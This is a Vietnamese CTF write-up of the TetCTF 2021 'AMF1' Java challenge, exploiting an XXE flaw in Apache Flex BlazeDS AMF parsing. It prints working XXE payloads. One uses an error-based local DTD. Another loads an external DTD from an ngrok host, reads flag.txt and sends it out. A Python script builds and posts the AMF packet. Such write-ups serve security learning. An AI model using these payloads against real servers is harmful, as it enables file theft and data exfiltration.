Sau một thời gian bận rộn với các giải ctf thì mình quyết định quay lại và tiếp tục series tự học java-sec 😄 của bản thân và dựa trên tinh thần "học hỏi từ những người đi trước" là chính. Dành ra tí thời gian để lượn lờ trên github, mình đã chọn được 1 challenge của giải tetctf 2021 về java khá là vừa sức, không dài dòng nữa vào việc thôi 🤘🤘🤘
Contents
AMF1
Another malicious format 1 - author peterjson
Source
https://drive.google.com/file/d/1tMLNWe_SnMjtevXdQ4MUN6TDsCMreDQs/view
Overview
Sau khi build xong access vào đường dẫn
Cũng chả có gì đặc biệt ở đây lắm, bản chất của nó chỉ là một file index.jsp
hiển thị dòng chữ Welcome to TetCTF
Phân tích
Giải nén file tetctf.war
sẽ được một project có structure như sau
Sau một hồi tìm hiểu thì mình nhận ra đây một là ứng dụng được build dựa trên Apache Flex BlazeDS và cũng dựa trên kinh nghiệm từ bài mojarra war đã làm, mình đoán được anh peterjson sẽ rất hay ra đề dựa trên các case thực tế vì vậy tiến hành đi search cve luôn
Ảnh này lấy từ một bài viết từ năm 2015, các phiên bản < 4.7.1 của Apache Flex BlazeDS đều bị dính lỗi XXE và cũng từ thư mục lib khi giải nén file tetctf.war
, mình khá chắc ăn vuln của bài này đích thị là nó.
Khái quát về cách để khai thác, một AMF message bao gồm phần header và body, khi ta gửi một AMF message đến AMF service enpoint của nó thì phần body sẽ được parse dựa trên method readbody
của class AmfMessageDeserializer
(Source mình tham khảo tại đây)
public void readBody(MessageBody body, int index) throws ClassNotFoundException, IOException {
String targetURI = amfIn.readUTF();
body.setTargetURI(targetURI);
String responseURI = amfIn.readUTF();
body.setResponseURI(responseURI);
amfIn.readInt(); // Length
amfIn.reset();
Object data;
if (isDebug)
debugTrace.startMessage(targetURI, responseURI, index);
try {
data = readObject();
} catch (RecoverableSerializationException ex) {
ex.setCode("Client.Message.Encoding");
data = ex;
} catch (MessageException ex) {
ex.setCode("Client.Message.Encoding");
throw ex;
}
body.setData(data);
if (isDebug)
debugTrace.endMessage();
}
Ở đây mình focus vào method readObject
tại dòng code data = readObject();
public Object readObject() throws ClassNotFoundException, IOException
{
return amfIn.readObject();
}
Biến amfln
này khi được khởi tạo tại hàm initialize
, nó là một instance của class Amf0Input
, tiếp tục nhảy đến source của class này
public Object readObject() throws ClassNotFoundException, IOException
{
int type = in.readByte();
Object value = readObjectValue(type);
return value;
}
Đọc byte đầu tiên với in.readByte();
để xác định type
sau đó là readObjectValue(type);
, ở readObjectValue
này có một chỗ quan trọng
Nếu type là 15 thì bắt đầu readXml
, và vuln cũng dần lộ ra từ đây. Tiếp tục trace tiếp như thế
readObjectValue -> stringToDocument (Amf0Input.java) -> XMLUtil.stringToDocument -> stringToDocument(String xml) -> stringToDocument(String xml, boolean nameSpaceAware)
Cũng từ source code, mình thấy được rằng ở đây sẽ parse trực tiếp chuỗi xml
mà không có một cơ chế bảo vệ nào
Bởi vì thường để không bị XXE thì ta sẽ phải set thêm các feature chẳng hạn như
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Vậy để khai thác thì ta sẽ cần gửi một AMF packet đến endpoint chạy AMF service, về việc tìm enpoint này thì không hề khó, nằm ngay tại file service-config.xml
Về phần contruct một AMF packet thì ở link script này đã có sẵn, vấn đề duy nhất còn lại đó là hàm dùng để filter nằm ở tetctf.SecurityFilter
.
public static String pattern = "(file|ftp|http|https|data|class|bash|logs|log|conf|etc|session|proc|root|history)";
Nếu input stream bao gồm các kí tự nằm trong biến pattern
sẽ bị báo Hacker detected!
Vậy làm sao để bypass ? 😢
Mình sẽ nói về solution của tác giả trước, anh ấy dùng local DTD và ghi đè một entity đã có sẵn + khai thác error-based
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "jar:netdoc:///home/service/apache-tomcat-7.0.99/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % URI '(aa) #IMPLIED>
<!ENTITY % x SYSTEM "netdoc:///home/service/flag.txt">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM '_:///abcxyz/%x;'>">
%eval;
%error;
<!ATTLIST attxx aa "bb"'>
%local_dtd;
]>
<message></message>
Phân tích một tí:
- ở java version 8 có hỗ trợ
netdoc
protocol và nó cũng tương nhưfile
protocol - sử dụng
jar
protocol để access tới filejsphtml.dtd
có sẵn và bắt đầu thực hiện việc khi đè. - cuối cùng là
_://
để tạo ra error và leak được flag
Về solution của mình, ngay khi bị filter đi các protocol hay dùng mình nghĩ ngay tới cách html entity encode, sau một hồi search ở hacktrick thì mình cũng đã tìm được:
Payload khi chưa encode sẽ tựa tựa như sau:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY % dtd SYSTEM "http://9bbf-27-65-62-181.ngrok.io/exp.dtd">"> %a;%dtd;]>
Sau khi đã html entity encode:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY % dtd SYSTEM "http://9bbf-27-65-62-181.ngrok.io/exp.dtd" >"> %a;%dtd;]>
Ở server mình tạo một file exp.dtd
với nội dung:
<!ENTITY % file SYSTEM "file:///home/service/flag.txt">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://9bbf-27-65-62-181.ngrok.io/?x=%file;'>">
%eval;
%exfiltrate;
Khai thác
Script:
import requests
import struct
URL = "http://127.0.0.1:1337/tetctf/messagebroker/amf"
def encode(string, xml=False):
string = string.encode('utf-8')
if xml:
const = b'\x0f' # AMF0 XML document
size = struct.pack("!L", len(string)) # Size on 4 bytes
else:
const = b'' # AMF0 URI
size = struct.pack("!H", len(string)) # Size on 2 bytes
return const + size + string
def genAMF(payload):
version = b'\x00\x03'
header_count = b'\x00\x00'
mess_count = b'\x00\x01'
packet = version + header_count + mess_count
# set target and respond
target = encode('foo')
respond = encode('bar')
# message
array_with_one_entry = b'\x0a' + b'\x00\x00\x00\x01' # AMF0 Array
mess = array_with_one_entry + encode(payload, xml=True)
xml_type = b'\x0F'
size_mess = struct.pack('!L', len(mess))
body = target + respond + size_mess + mess
bodies = mess_count + body
packet = version + header_count + bodies
return packet
if __name__ == "__main__":
# payload = r"""<!DOCTYPE message [
# <!ENTITY % local_dtd SYSTEM "jar:netdoc:///home/service/apache-tomcat-7.0.99/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
# <!ENTITY % URI '(aa) #IMPLIED>
# <!ENTITY % x SYSTEM "netdoc:///home/service/flag.txt">
# <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM '_:///abcxyz/%x;'>">
# %eval;
# %error;
# <!ATTLIST attxx aa "bb"'>
# %local_dtd;
# ]>
# <message></message>"""
payload = r"""
<!DOCTYPE foo [<!ENTITY % a "<!ENTITY % dtd SYSTEM "http://9bbf-27-65-62-181.ngrok.io/exp.dtd" >"> %a;%dtd;]>
"""
data = genAMF(payload)
r = requests.post(URL, data = data, headers = {"Content-Type": "application/x-amf"})
print(r.text)
Kết quả: